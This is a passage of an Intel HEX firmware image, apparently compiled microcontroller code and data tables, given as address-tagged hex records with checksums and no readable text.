001E0B00008E0A000091\n:10DB90002E080000EE070000D60A0000EE07000085\n:10DBA0002E0A00002E080000EE070000D60A000032\n:10DBB000EE070000660900003E0B0000A60800000A\n:10DBC000660900003E0B0000A6080000C609000020\n:10DBD0005E0B00006CD102000D000000FE0800008A\n:10DBE000660900002E0A0000CE0A0000BE090000EF\n:10DBF000F6090000AE0A0000EE070000260A000049\n:10DC0000660A0000260B00004E08000036090000DE\n:10DC10006CD1020007000000FE0900004E0B00005E\n:10DC2000860900004E0B0000D60900004E0B0000D4\n:10DC3000CE0800006CD10200120000000E090000A6\n:10DC4000B60A0000A60A0000C60A00005609000035\n:10DC50002E0B0000260A0000C60A0000560900002C\n:10DC6000B60A00002E080000360900002608000051\n:10DC7000A60A0000BE0A0000360A0000A60A00003C\n:10DC8000360B0000B8B80200670200000000000078\n:10DC90000000000000000000000000000000000084\n:10DCA0000000000000000000373D0200317002005B\n:10DCB0000000000000000000000000000000000064\n:10DCC000A2000000A7000000A70000007F000000E5\n:10DCD00080000000E20000003C0000003C0000006A\n:10DCE0000000000000000000E10000003C00000017\n:10DCF0003B0000000000000000000000C800000021\n:10DD000000000000000000003600000037000000A6\n:10DD1000C700000000000000000000003600000006\n:10DD20003600000028DD0200B8B80200CC01000077\n:10DD30009545010000000000000000005B3D02006E\n:10DD400000000000000000000000000000000000D3\n:10DD500000000000000000000000000000000000C3\n:10DD600000000000000001000000020000000400AC\n:10DD700000000000C1000000C2000000C30000005D\n:10DD8000C4000000C5000000C6000000C70000007D\n:10DD9000C8000000C9000000CA000000CB0000005D\n:10DDA00098CC02004700000008000000D0DD02000F\n:10DDB0000CE002005948010048E00200154901004A\n:10DDC00048E00200454901000CE0020081490100E1\n:10DDD000CE05000018DE0200D605000020DE02009D\n:10DDE000DE05000028DE0200E6050000B0DD0200CE\n:10DDF000EE05000010DE0200F6050000B8DD0200AE\n:10DE0000FE050000C0DD020006060000C8DD0200BD\n:10DE10000CE00200F14801000CE002001D48010086\n:10DE20000CE00200314801000CE00200454801000E\n:10DE300034DE0200B8B80200B700000000000000A5\n:10DE400000000000000000000000000000000000D2\n:10DE500000000000000000000000000000000000C2\n:10DE6000000000000000000000000000A0DD020033\n:10DE7000B8B80200D300000000000000000000005D\n:10DE80000000000000000000000000000000000092\n:10DE90000000000000000000000000000000000082\n:10DEA0000000000000000000B4DE02000CE00200F0\n:10DEB000994E010098CC02002700000004000000E9\n:10DEC000C4DE0200760B00002CDF02007E1500008D\n:10DED000ACDE0200AE06000040DF0200B606000025\n:10DEE0004CDF0200DB000200A0860100DC00030022\n:10DEF00024DD0200DD00030024DD0200D700020162\n:10DF000000000000D800020100000000DA0001005B\n:10DF100000000000D700020100000000D90003014A\n:10DF200000000000DA00010000000000C0E0020074\n:10DF30000300FFFF914D010070DE0200E82A00207F\n:10DF4000C0E002000300FFFFE54D0100C0E0020059\n:10DF50000300FFFF414E0100B8B802004502000077\n:10DF60000000000000000000AF7102005B3D0200F5\n:10DF700000000000000000000000000000000000A1\n:10DF80000000000000000000000000000000000091\n:10DF900000000000B8B802004502000000000000C8\n:10DFA00000000000114F01005B3D02000000000076\n:10DFB0000000000000000000000000000000000061\n:10DFC0000000000000000000000000000000000051\n:10DFD000B8B8020045020000000000000000000088\n:10DFE0003D7102005B3D02000000000000000000E7\n:10DFF0000000000000000000000000000000000021\n:10E00000000000000000000000000000B8B802009E\n:10E0100045020000000000000000000055710200F1\n:10E020005B3D020000000000000000000000000056\n:10E0300000000000000000000000000000000000E0\n:10E040000000000000000000B8B802004502000017\n:10E050000000000000000000737102005B3D020040\n:10E0600000000000000000000000000000000000B0\n:10E0700000000000000000000000000000000000A0\n:10E0800000000000B8B802004502000000000000D7\n:10E0900000000000917102005B3D020000000000E2\n:10E0A0000000000000000000000000000000000070\n:10E0B0000000000000000000000000000000000060\n:10E0C000B8B8020045020000000000000000000097\n:10E0D0004F7202005B3D02000000000000000000E3\n:10E0E0000000000000000000000000000000000030\n:10E0F00000000000000000000000000004E1020039\n:10E10000C1010000B8B8020001000000C1510100C7\n:10E1100000000000000000000000000000000000FF\n:10E1200000000000000000000000000000000000EF\n:10E1300000000000000000000000000000000000DF\n:10E1400005000000050000000300000009000000B9\n:10E150000D040000D96E0300000000000000000064\n:10E160000A000000F20200005F6F0300626F03000C\n:10E170006C6F0300706F0300746F0300786F03000F\n:10E180007E6F0300846F03008C6F0300906F0300A9\n:10E19000B36F0300BE6F0300C96F0300D66F0300A7\n:10E1A000E36F0300EF6F0300FB6F030006700300D3\n:10E1B00010700300187003001F7003002770030025\n:10E1C000357003003E700300497003005170030076\n:10E1D0005970030068700300707003007E700300C4\n:10E1E000857003008F7003009D700300A47003000E\n:10E1F000AF700300C4700300DF700300F27003000F\n:10E2000001710300117103001F7103002E710300DF\n:10E210004271030063710300847103009171030074\n:10E220009A710300A7710300B0710300B871030075\n:10E23000BD710300C8710300D5710300DC710300D8\n:10E24000E3710300EA710300F1710300F871030048\n:10E25000FF710300067203000D72030014720300C5\n:10E260001B720300237203002B720300337203003E\n:10E270003B720300437203004B72030053720300AE\n:10E280005B720300637203006E7203007972030015\n:10E29000837203008F72030099720300A972030056\n:10E2A000B1720300B9720300C1720300CA720300A5\n:10E2B000D3720300DA720300E6720300F272030005\n:10E2C000FF7203000D73030018730300257303002E\n:10E2D0003173030038730300407303004E7303006F\n:10E2E000567303005C730300647303006F730300D1\n:10E2F00077730300807303008C730300947303002F\n:10E300009F730300A5730300AB730300B073030096\n:10E31000BA730300C3730300CC730300D573030007\n:10E32000DE730300E7730300F0730300F973030067\n:10E33000027403000B740300157403001F740300C0\n:10E3400029740300347403003E740300497403000D\n:10E35000537403005E740300687403007374030055\n:10E360007E7403008E7403009B740300A574030085\n:10E37000B5740300BE740300CD740300D6740300AB\n:10E38000DC740300ED740300FC7403000C750300DF\n:10E39000187503001F75030028750300317503000D\n:10E3A0003A750300487503004F7503005775030065\n:10E3B000627503006E7503007C75030084750300AD\n:10E3C0008C750300967503009E750300A975030004\n:10E3D000B1750300BE750300CB750300DD75030046\n:10E3E000EE750300017603000B760300127603003E\n:10E3F0001B760300237603002C760300347603009B\n:10E400003B76030042760300497603005076030012\n:10E41000587603005F7603006D7603007F76030075\n:10E42000847603008A760300927603009B760300CD\n:10E43000AC760300B7760300C2760300CF76030004\n:10E44000DD760300EB760300037703001377030008\n:10E450001B770300237703002B7703003877030033\n:10E460004A7703005777030065770300747703004A\n:10E470007977030080770300877703008F770300A5\n:10E4800099770300A5770300B0770300B577030001\n:10E49000BA770300BF770300C7770300D97703007B\n:10E4A000E3770300ED770300FD77030009780300AD\n:10E4B0001D7803003278030040780300467803009B\n:10E4C0004D780300557803005C7803006078030002\n:10E4D000667803006F780300767803007C78030089\n:10E4E000827803008A78030096780300A1780300FD\n:10E4F000A9780300AF780300B6780300C278030060\n:10E50000CE780300D4780300DC780300E4780300BD\n:10E51000EE780300F978030001790300097903001C\n:10E5200015790300237903002D7903003479030062\n:10E53000407903004A7903005179030057790300B9\n:10E54000647903006F79030079790300857903000A\n:10E550008E79030099790300A5790300AF79030050\n:10E56000B3790300B8790300BF790300C6790300CB\n:10E57000CB790300D0790300D7790300DE7903005B\n:10E58000E4790300EA790300F0790300F6790300E7\n:10E59000FA790300017A0300067A03000B7A03007C\n:10E5A000127A0300197A03001E7A0300257A030009\n:10E5B0002B7A0300317A0300357A03003A7A03009C\n:10E5C000407A0300487A0300507A0300577A030028\n:10E5D0005E7A0300657A03006A7A0300717A0300A9\n:10E5E000787A03007D7A0300847A03008B7A030033\n:10E5F000927A0300977A03009E7A0300A57A0300BB\n:10E60000AC7A0300B37A0300B97A0300BF7A03003F\n:10E61000C57A0300CB7A0300D17A0300D57A0300D0\n:10E62000DA7A0300E27A0300E97A0300F07A030061\n:10E63000F57A0300FA7A0300017B0300067B0300EE\n:10E640000D7B0300147B03001A7B0300207B030077\n:10E65000267B03002C7B0300327B0300387B030006\n:10E660003E7B0300427B0300497B03004E7B03009B\n:10E67000557B03005A7B0300617B0300677B03002B\n:10E680006D7B0300737B0300797B03007F7B0300BA\n:10E69000857B03008B7B0300927B0300967B03004A\n:10E6A0009B7B0300A17B0300A97B0300B07B0300DD\n:10E6B000B77B0300BE7B0300C37B0300C97B030061\n:10E6C000CF7B0300D57B0300DB7B0300E17B0300F2\n:10E6D000E57B0300EA7B0300F17B0300F87B03008A\n:10E6E000FF7B0300047C03000B7C0300127C03000F\n:10E6F000177C03001E7C0300247C03002A7C03009B\n:10E70000307C0300367C03003A7C0300417C03002C\n:10E71000477C03004D7C0300537C0300627C0300B4\n:10E72000697C0300707C03007B7C0300827C030017\n:10E730008B7C0300927C0300997C03009E7C030089\n:10E74000A37C0300A97C0300B37C0300BE7C030010\n:10E75000C97C0300CF7C0300D67C0300E47C03006B\n:10E76000EA7C0300F17C0300F87C0300FF7C0300DB\n:10E77000067D0300177D0300227D03002D7D03002D\n:10E78000357D03003E7D03004C7D0300537D030077\n:10E790005F7D0300697D0300727D03007C7D0300C3\n:10E7A000847D0300917D03009E7D0300A77D03000F\n:10E7B000B27D0300B97D0300BE7D0300C67D03006A\n:10E7C000D47D0300DE7D0300E97D0300F37D0300BB\n:10E7D000FD7D0300077E0300107E03001B7E030007\n:10E7E000257E03002F7E0300367E0300437E030058\n:10E7F0004C7E0300527E03005E7E0300657E0300B4\n:10E800006E7E0300767E03007E7E0300867E03001C\n:10E81000927E03009A7E0300A37E0300B07E030075\n:10E82000C07E0300C77E0300D17E0300E67E0300A6\n:10E83000F57E0300FE7E0300067F0300107F0300C9\n:10E84000187F0300247F03002E7F0300367F030020\n:10E85000457F0300527F03005F7F0300717F030049\n:10E86000827F0300937F0300A37F0300AE7F03003A\n:10E87000B97F0300C57F0300D57F0300E37F03005A\n:10E88000F67F0300038003000E8003002280030054\n:10E89000308003003E8003004A800300558003005F\n:10E8A0006B80030075800300838003009380030066\n:10E8B000A2800300B2800300C0800300CD8003006B\n:10E8C000D9800300E8800300F5800300098103007C\n:10E8D000138103001E810300308103003B8103008C\n:10E8E00047810300568103006481030070810300A7\n:10E8F00079810300848103008D8103009B810300E3\n:10E90000A9810300B2810300BD810300CA81030015\n:10E91000D5810300E0810300E9810300F381030056\n:10E92000FC81030007820300148203001F8203009E\n:10E9300029820300348203003F8203004E820300D9\n:10E940005F8203006A8203007982030087820300EA\n:10E95000918203009B820300AB820300B18203001B\n:10E96000B8820300BE820300C6820300CC8203008B\n:10E97000D3820300DC820300E3820300EB82030006\n:10E98000F2820300FE820300048303000B83030072\n:10E9900013830300198303001E83030025830300F0\n:10E9A000348303003F830300448303005083030048\n:10E9B0005B830300678303006F8303007A83030094\n:10E9C000858303008C83030092830300A0830300EC\n:10E9D000A8830300B2830300B8830300BE8303004F\n:10E9E000C8830300D0830300DB830300E1830300BB\n:10E9F000E9830300F1830300F9830300008403002B\n:10EA00000A840300148403001B840300278403008A\n:10EA100034840300488403004E84030058840300B8\n:10EA200066840300708403007984030082840300F9\n:10EA30008F84030095840300A0840300AC8403004A\n:10EA4000B3840300BA840300C1840300C7840300B5\n:10EA5000D0840300D7840300E0840300E78403002C\n:10EA6000EF840300F7840300FE840300078503009E\n:10EA70000F8503001C8503002785030033850300F1\n:10EA80003E850300438503004F8503005585030041\n:10EA90005F85030069850300738503007A850300A1\n:10EAA00086850300948503009A8503009F850300F3\n:10EAB000B0850300B8850300C1850300C785030046\n:10EAC000D6850300EC850300F6850300008603006D\n:10EAD0000D86030019860300248603002C8603009C\n:10EAE00039860300438603004B86030055860300E6\n:10EAF000628603006D8603007A8603008486030025\n:10EB00008C860300938603009E860300A58603007F\n:10EB1000B0860300B6860300BD860300C5860300E9\n:10EB2000CD860300D3860300DA860300E286030065\n:10EB3000E9860300EF860300F6860300FF860300E4\n:10EB4000088703000E870300168703001C87030055\n:10EB5000228703002B8703003187030038870300D7\n:10EB60003E870300448703004C870300548703005B\n:10EB70005B87030067870300728703007D870300BC\n:10EB8000838703008A870300938703009D87030020\n:10EB9000A3870300AA870300B1870300B987030096\n:10EBA000BF870300CC870300D3870300D987030006\n:10EBB000E2870300E8870300EF870300FB87030079\n:10EBC00001880300088803001488030019880300E3\n:10EBD000248803002A880300348803003A8803004D\n:10EBE00042880300548803005B88030067880300A1\n:10EBF00071880300798803008088030093880300EC\n:10EC00009C880300A6880300AD880300B788030032\n:10EC1000C2880300CA880300D3880300DB8803008E\n:10EC2000E4880300ED880300F4880300FB880300F8\n:10EC30000189030007890300118903001E8903006D\n:10EC4000248903002F8903003A89030041890300C6\n:10EC50004A8903005289030059890300658903002A\n:10EC60007289030081890300888903008E8903006B\n:10EC7000958903009D890300A4890300AC890300E2\n:10EC8000B2890300B8890300C0890300D789030053\n:10EC9000F5890300FB890300018A03000D8A030044\n:10ECA000158A0300218A03002E8A0300398A030093\n:10ECB000448A03004B8A03005B8A0300668A0300D0\n:10ECC0006E8A0300768A03007D8A03008C8A030023\n:10ECD000938A03009A8A0300A28A0300AE8A030083\n:10ECE000B78A0300C58A0300CE8A0300D68A0300D0\n:10ECF000E08A0300E88A0300F08A0300F98A03002F\n:10ED0000088B03000E8B0300148B03001A8B030087\n:10ED1000258B03002B8B0300318B0300368B030004\n:10ED20003B8B0300418B03004A8B0300518B030094\n:10ED300098CC0200170100002200000040ED020004\n:10ED4000860F0000BE0000006E02000064CA0200D0\n:10ED5000FE04000024000020960500005CAE0200C6\n:10ED60009E05000068AE0200C605000030DE02000D\n:10ED70006E060000F89B0200A606000038DF0200C5\n:10ED80006E0B000014000020EE0B000004000020B9\n:10ED9000C600000064EE0200CE00000074EE020027\n:10EDA000D60000006CEE0200DE00000058EE02000B\n:10EDB000E60000007CEE0200A601000000CF020089\n:10EDC000AE01000048CF0200B601000058CF02009B\n:10EDD000BE01000060CF0200C601000068CF020043\n:10EDE000CE01000070CF0200D601000078CF0200F3\n:10EDF000DE01000080CF0200E601000088CF0200A3\n:10EE0000EE01000090CF0200F601000008CF0200E2\n:10EE1000FE01000010CF02000602000018CF020021\n:10EE20000E02000020CF02001602000028CF0200D0\n:10EE30001E02000030CF02002602000038CF020080\n:10EE40002E02000040CF02003602000050CF020028\n:10EE50006CB2020030ED0200C0E0020000000100D0\n:10EE60000D590100D0DF020085580100D0DF0200FB\n:10EE7000177602000CE0020095580100D0DF020076\n:10EE8000D558010098CC02002F00000005000000BA\n:10EE900094EE0200860F00009E0C00002E1500006C\n:10EEA000CCEE0200EE0C0000BCEE0200FE0C0000F6\n:10EEB000C4EE0200A60C000060EF0200D0DF0200EA\n:10EEC000C16E00000CE00200096F00000CE00200BF\n:10EED0000D6D00006CB2020084EE0200960100008D\n:10EEE0009701000098010000990100009E010000B8\n:10EEF00040BB02000000000017000000BC8B0300B4\n:10EF000040BB020000000000080000004070030049\n:10EF1000A49C02000500000040EF020000EF020088\n:10EF200030EF020050EF0200F0EE0200DCEE0200D3\n:10EF300040BB02000000000005000000598B0300E8\n:10EF400040BB020000000000080000004070030009\n:10EF500040BB0200000000005C0000005F8B03006B\n:10EF6000D0DF02002D590100000000000000000069\n:10EF70003559010025760200C0E002000400FFFFC1\n:10EF8000FD5A01000CE00200056101000CE00200E6\n:10EF9000196001000CE00200715B01000CE002004E\n:10EFA000A15B01000CE00200957602000CE002007B\n:10EFB000D15B01000CE00200ED5B0100C0E002004B\n:10EFC000000001005161010048E00200A976020042\n:10EFD000C0E0020004000300B55F0100D0DF0200C2\n:10EFE000E55A010048E002008D5F01000CE00200DC\n:10EFF000077702000CE00200B77602000CE0020086\n:10F00000193D0200C0E0020000000100696001003B\n:10F010000CE002008B7602000CE00200A9CC00009C\n:10F02000D0DF0200F15A0100C0E002000300FFFF40\n:10F0300013770200C0E002000300FFFF1D7702000B\n:10F040000CE00200C56001000CE00200C576020081\n:10F050000CE00200655D0100C0E002000400030056\n:10F06000E1600100C0E002000100FFFFF95D010066\n:10F070000CE00200AD5E0100C0E0020002000200F0\n:10F08000D95E010084E00200F95F0100C0E00200E7\n:10F090000300FFFF515F0100C0E002000200020018\n:10F0A000D37602006CB20200ACF0020098CC0200F1\n:10F0B000D70200005A000000BCF00200860F0000DA\n:10F0C00076100000DE0E000078EF0200460F000010\n:10F0D000ECB60200AE0F000084EF020066100000E4\n:10F0E000BCAD02009E10000020B902008610000096\n:10F0F00070AD02003E11000098CC0200A611000085\n:10F10000F8B60200DE11000074B60200EE11000035\n:10F110000CAB020026120000C8A80200A6120000D4\n:10F1200004C602009E130000FCC10200DE130000B2\n:10F1300074C502008E140000F09A0200161500003B\n:10F140000CD002004E150000D0AA02009615000057\n:10F1500004A902004E05000044BC0200061600008F\n:10F1600040BB02003E1600007CB80200B61600004C\n:10F170006CD10200BE160000B8B802003E170000B5\n:10F18000689C0200C610000004B80200F6150000DA\n:10F1900040B802000E0E0000FCE00200E60F000086\n:10F1A0008CEF02000610000094EF0200B60B000086\n:10F1B0009CEF020056100000A4EF0200AE10000009\n:10F1C000ACEF0200BE100000B4EF02005E110000C0\n:10F1D000BCEF02007E110000C8EF0200AE1100007B\n:10F1E000A89A0200B6110000B49A02004E12000064\n:10F1F000D0EF02009E15000084F0020056120000BD\n:10F20000DCEF02005E120000E4EF02006612000074\n:10F21000ECEF02009E000000C0C302007E1200005E\n:10F22000F4EF020086120000FCEF0200A6000000CE\n:10F2300004F00200EE120000F4B702000E1300000A\n:10F24000FCB702003613000010F002009613000015\n:10F2500018F00200AE13000020F00200EE130000D0\n:10F2600028F002002E14000034F002007E1400008A\n:10F2700040F002009614000048F00200AE140000B6\n:10F2800050F00200E614000058F00200EE140000F6\n:10F2900064F002003E15000070F0020066150000E8\n:10F2A00078F00200CE1500008CF002003616000047\n:10F2B00098F00200FE0D0000E4A10200E60D00003F\n:10F2C00030A10200EE0D00006CA10200F60D00005E\n:10F2D000A8A10200060E000020A20200160E0000E7\n:10F2E0005CA202001E0E000098A20200260E000082\n:10F2F000D4A202002E0E000010A30200360E000061\n:10F300004CA30200460E0000C4A302003E0E000003\n:10F3100088A302004E0E000000A40200560E00005A\n:10F320003CA402005E0E000078A402006E0E0000F5\n:10F33000B4A40200760E0000F0A40200860E0000C5\n:10F340002CA502008E0E000068A50200960E00009B\n:10F35000A4A502009E0E0000E0A50200A60E00007B\n:10F360001CA60200AE0E000058A60200B60E000059\n:10F3700094A60200BE0E0000D0A60200C60E000039\n:10F380000CA702009E14000058B60200830E030072\n:10F39000966D03007E0E0300F58C0300FF8C0300C6\n:10F3A000038D0300068D03000D8D0300C6130300BB\n:10F3B000138D0300C79003001C8D0300208D0300F4\n:10F3C000258D03002A8D0300318D0300C007030043\n:10F3D000C08A0300C35D0300228D03006612030090\n:10F3E000EF70030082700300398D0300255E030077\n:10F3F000408D0300C1070300D4770300DE43030000\n:10F40000448D0300C4070300BA0703009B84030074\n:10F410004B8D03000600000000000000000000000B\n:10F42000FFFF0000000000000000000000000000DE\n:10F43000517C0200537C0200977C0200997C020000\n:10F440000000000000000000517C0200537C02001C\n:10F45000957C0200A77C0200557C0200717C0200B2\n:10F46000757C0200917C0200156F01001D6F010088\n:10F47000897D02000000000000000000517C0200B5\n:10F48000537C0200657E0200677E02004973010022\n:10F49000457E0200617E020051730100757E02000C\n:10F4A000010000001700000046000000A30000005B\n:10F4B0005F010000D6020000C4050000A00B0000A0\n:10F4C0000000000000000000E5860200537C0200FE\n:10F4D000897B010069840200E8F402000300000057\n:10F4E00000F502000800000002000000000000001B\n:10F4F00004000000010000000800000002000000FD\n:10F50000C40900000000000088130000080000008B\n:10F510001027000010000000204E0000180000001E\n:10F520008038010020000000007102002800000067\n:10F5300000E20400300000000088130038000000E2\n:10F540000000000000000000517C02007D890200E4\n:10F550002587010087890200557C0200717C02002A\n:10F56000757C0200917C02003186010069870100F0\n:10F57000897D0200BCFFFFFF00000000517C0200FB\n:10F580002186010049870100598701001587010084\n:10F59000457E0200617E020035880100757E020012\n:10F5A000B0F5020003000000C8F5020008000000EA\n:10F5B0000200000000000000040000000100000044\n:10F5C0000800000002000000E2040000000000004B\n:10F5D000C4090000080000008813000010000000AB\n:10F5E0001027000018000000204E0000200000003E\n:10F5F0008038010028000000007102003000000087\n:10F6000000C40900380000000000000000000000F5\n:10F61000517C0200AD89020075890100B7890200A2\n:10F62000557C0200717C0200757C0200917C020016\n:10F63000C58801008D890100897D020044F6020021\n:10F640000B000000D430000000000000A8610000A2\n:10F650002000000050C3000040000000A086010010\n:10F6600060000000400D030080000000801A0600CA\n:10F670008800000000350C0090000000006A1800AF\n:10F68000B000000000D43000D000000000A86100ED\n:10F69000F00000000050C300F8000000000000006F\n:10F6A00000000000517C0200DD890200618A010037\n:10F6B000E7890200798A0100457E0200617E02002E\n:10F6C000198B0100757E0200D8F6020004000000CC\n:10F6D000F8F602000900000002000000000000002F\n:10F6E00004000000100000000800000020000000DE\n:10F6F00010000000300000006902000080000000DF\n:10F70000E802000090000000C40900007000000042\n:10F710008813000060000000102700005000000067\n:10F72000204E000040000000409C0000300000001F\n:10F73000A08601002000000040420F0010000000E1\n:10F740000000000000000000517C02000D8A020051\n:10F750007D8C0100178A0200557C0200717C02003A\n:10F76000757C0200917C0200E98B0100958C010000\n:10F77000897D02007CF702000400000010270000D1\n:10F780000C000000204E00000800000050C30000E4\n:10F7900004000000A086010000000000000000003E\n:10F7A00000000000517C02003D8A0200E58D01004E\n:10F7B000478A0200858D0100457E0200617E0200BD\n:10F7C000FD8D0100757E0200FFFF010001000000B9\n:10F7D00000000000000000007D8E02007F8E02000D\n:10F7E00000000000000000009D8E0200CB8E020091\n:10F7F00000000000000000006D7B01007D8402001D\n:10F80000358F02000000000000000000E9970100B1\n:10F81000AB8F02008D8F020000000000000000008E\n:10F820000000000000000000F590020034F8020023\n:10F830001C2D00208DA6010019A701001D940200B7\n:10F840001F94020031A70100010000000070004079\n:10F8500004000000020000000070004008000000EA\n:10F8600003000000007000401000000004000000D1\n:10F870000070004020000000050000000070004003\n:10F880004000000006000000007000408000000002\n:10F89000FF000000FFFFFFFF00000000B0040000B9\n:10F8A00000F004006009000000D00900C012000050\n:10F8B00000B01300802500000050270040380000F1\n:10F8C00000003B00004B000000A04E0080700000D4\n:10F8D00000F07500127A0000000080000096000021\n:10F8E00000509D0000E1000000F0EB00002C010042\n:10F8F00000903A0100C2010000E0D701008403003B\n:10F9000000B0AF0390D0030000000004000807001F\n:10F9100000705F0700100E00A4DFBE0E40420F0013\n:10F920000000001006B3010094B2010000B2010013\n:10F93000FEB2010000B201009AB2010000B2010063\n:10F94000FEB2010094B2010094B201009AB201002B\n:10F95000FEB20100A4B20100A4B20100A4B20100F1\n:10F96000E2B2010092B2010000B201009AB20100BD\n:10F9700000B2010092B2010002B2010002B2010025\n:10F980009AB2010092B20100A4B20100A4B2010037\n:10F99000A4B20100E2B2010094B2010094B20100ED\n:10F9A00000B20100FEB1010000B201009AB20100F4\n:10F9B00000B20100FEB1010094B2010094B2010056\n:10F9C0009AB20100FEB10100A4B20100A4B201008C\n:10F9D00070B60100A2B50100A2B50100A0B50100FA\n:10F9E000A6B50100A6B501004EB60100A0B5010004\n:10F9F000A6B501004EB60100A6B50100A0B50100F4\n:10FA00004AB601004AB601004AB6010058B60100E4\n:10FA10006CC5010048C4010012C40100B6C3010056\n:10FA200012C4010014C5010012C40100B6C30100D4\n:10FA300048C4010048C4010014C50100B6C3010058\n:10FA4000BEC30100BEC30100BEC3010022C5010048\n:10FA500020CD0100C0CB0100C0CB0100BCCB010018\n:10FA6000C6CB0100C6CB0100DCCC0100BCCB010041\n:10FA7000C6CB0100DCCC0100C6CB0100BCCB010031\n:10FA8000D8CC0100D8CC0100D8CC0100EACC0100D0\n:10FA90003863ED3EDA0F493F5E987B3FDA0FC93F8E\n:10FAA0006937AC3168212233B40F14336821A23393\n:10FAB0000000004B000000CB000000000000003FF1\n:10FAC000000000BF8071313F807131BFD1F717371F\n:10FAD000D1F717B70000000000000080000FC93FF9\n:10FAE000000F494000CB9640000FC9400053FB4037\n:10FAF00000CB164100ED2F41000F4941003162411A\n:10FB000000537B41003A8A4100CB9641005CA341FF\n:10FB100000EDAF41007EBC41000FC94100A0D541BE\n:10FB20000031E24100C2EE410053FB4100F20342CA\n:10FB3000003A0A420083104200CB164200141D42D4\n:10FB4000005C234200A5294200ED2F4200363642D8\n:10FB5000007E3C4200C74242000F4942A200000022\n:10FB6000F9000000830000006E0000004E0000005D\n:10FB7000440000001500000029000000FC00000007\n:10FB80002700000057000000D1000000F500000031\n:10FB900034000000DD000000C0000000DB000000B9\n:10FBA0006200000095000000990000003C00000089\n:10FBB000430000009000000041000000FE00000033\n:10FBC0005100000063000000AB000000DE000000F8\n:10FBD000BB000000C500000061000000B70000008D\n:10FBE000240000006E0000003A0000004200000007\n:10FBF0004D000000D2000000E00000000600000000\n:10FC0000490000002E000000EA000000090000008A\n:10FC1000D1000000920000001C000000FE00000067\n:10FC20001D000000EB0000001C000000B1000000FF\n:10FC300029000000A70000003E000000E8000000CE\n:10FC40008200000035000000F50000002E000000DA\n:10FC5000BB0000004400000084000000E900000038\n:10FC60009C0000007000000026000000B4000000AE\n:10FC70005F0000007E00000041000000390000002D\n:10FC800091000000D6000000390000008300000051\n:10FC90005300000039000000F40000009C00000048\n:10FCA000840000005F0000008B000000BD00000029\n:10FCB000F9000000280000003B0000001F000000C9\n:10FCC000F800000097000000FF000000DE000000C8\n:10FCD00005000000980000000F000000EF00000089\n:10FCE0002F000000110000008B0000005A000000EF\n:10FCF0000A0000006D0000001F0000006D00000001\n:10FD0000360000007E000000CF0000002700000049\n:10FD1000CB00000009000000B70000004F00000009\n:10FD2000460000003F000000660000009E0000004A\n:10FD30005F000000EA0000002D00000075000000D8\n:10FD400027000000BA000000C7000000EB00000020\n:10FD5000E5000000F10000007B0000003D00000015\n:10FD60000700000039000000F70000008A000000D2\n:10FD70005200000092000000EA0000006B0000004A\n:10FD8000FB0000005F000000B10000001F00000049\n:10FD90008D0000005D00000008000000560000001B\n:10FDA000030000003000000046000000FC000000DE\n:10FDB0007B0000006B000000AB000000F0000000C2\n:10FDC000CF000000BC000000200000009A000000EE\n:10FDD000F4000000360000001D000000A900000033\n:10FDE000E300000091000000610000005E000000E0\n:10FDF000E60000001B000000080000006500000095\n:10FE000099000000850000005F0000001400000061\n:10FE1000A000000068000000400000008D0000000D\n:10FE2000FF000000D8000000800000004D0000002E\n:10FE300073000000270000003100000006000000F1\n:10FE4000060000001500000056000000CA00000077\n:10FE500073000000A8000000C9000000600000005E\n:10FE6000E20000007B000000C00000008C000000E9\n:10FE70006B0000000000C93F0000F0390000DA37D5\n:10FE80000000A2330000842E0000502B0000C22787\n:10FE90000000D0220000C41F0000C61B0000441751\n:10FEA000040000000700000009000000000000003E\n:10FEB0000000000000000000000000000000000042\n:10FEC0000000000000000000000000000000000032\n:10FED0000000000000000000000000000000000022\n:10FEE0000000000000000000000000000000000012\n:10FEF0000000000000000000000000000000000002\n:10FF00000000000000000000000000007000002061\n:10FF100000004834A79BBB8BE1858C3E1E45E6184C\n:10FF2000246BABE728384B8161D494F403251D6919\n:10FF30008BFEA79B178B20295F8BB16191D3017436\n:10FF400038219F12A0B38829233124203A101D3173\n:10FF50007D2011109F33A0204810A013A120A220C3\n:10FF6000A320A22232107A20A12231107A20A3628B\n:10FF70007A20A430A412A720A520A5624D107A20D3\n:10FF800025312620832083122F1030106562121035\n:10FF90000710122313107A206A306A6248107A2000\n:10FFA0008A1C0710081009100A100B100C100E10F4\n:10FFB0000F100D102A202B202C208B1236208C2085\n:10FFC0002C234610993047102B2344108C304510B9\n:10FFD0008711292029628A208830883291202A239B\n:10FFE00042108B304310581C4E104F1050105110BF\n:10FFF00053105410551056105810571059105210D5\n:020000040003F7\n:100000000921141035A5151007109E3049107820CD\n:100010009E6342109F304310A7A51D109720221009\n:100020001C20A630A82320107C20A630A612A720D2\n:10003000A8207E193610381040103E103F10411095\n:1000400022107F20802080222310813081212610E1\n:100050007F22261022101F3121207E206B181320B2\n:1000600014201520162017200320352002200A21F5\n:10007000161002623D203E203E12352003203C2413\n:100080004C1068202D3004103D323C2007221810FF\n:100090009720996234209B309A6249107A2034620A\n:1000A0007A209A309C2248109D309D33342048108D\n:1000B0009B12A7209C206462682065306731642011\n:1000C0004810683107104A1074631A1049107820DC\n:1000D0003A6233203B303B210410213122203B1077\n:1000E0000522062052305212532054205612362038\n:1000F000062055624D105620543255205362582028\n:1001000056209733982048109812202021208512DD\n:100110002720282027628620852086132F10301064\n:100120003D100061013001323920391204104F2096\n:10013000591509200A200B200D200C2015271D1011\n:1001400097202210332049107820743003A817100C\n:1001500007104210403043103F30491078203F6272\n:100160005A107A2010221F106920132620107A209E\n:10017000491078206C3074306D2419107A204910A1\n:1001800078206C326D20632207106530663363205F\n:10019000481060634210662043100F241E105D203B\n:1001A00021105F205D1268205E205E626120683051\n:1001B0005F133110602066200E22211067205C1230\n:1001C0000E200F201AA42410483049107A201BA4B6\n:1001D0002410483049107C20693107104810112242\n:1001E000251069207D121E201F201E2226107D2032\n:1001F000613262201C311D20271008212810621254\n:100200004A100C10286287208930896232108520BC\n:100210000D2229105A305A627A205B305B621E1020\n:100220007A200B222A10333024312520822082129A\n:1002300037103910506204200410043351204B1041\n:100240003813041050206B20962249107A30511830\n:100250000720082059205C201020112012200520A2\n:100260002022311021204F126B2050209212322078\n:10027000312031627A203230322249109330931289\n:1002800094209520942249107A3095627A209630F5\n:10029000303392204810781279205020796404106D\n:1002A00005101820061018324F2026318520842092\n:1002B000841431103310351034107A121A2019209A\n:1002C0007B2420101C201A107A2019621C207B30FD\n:1002D0007C121B201C2033337A2048108C628D2026\n:1002E0008E308D1220207A208E12A7208F208F62D0\n:1002F0004810903090338D20481006335720481016\n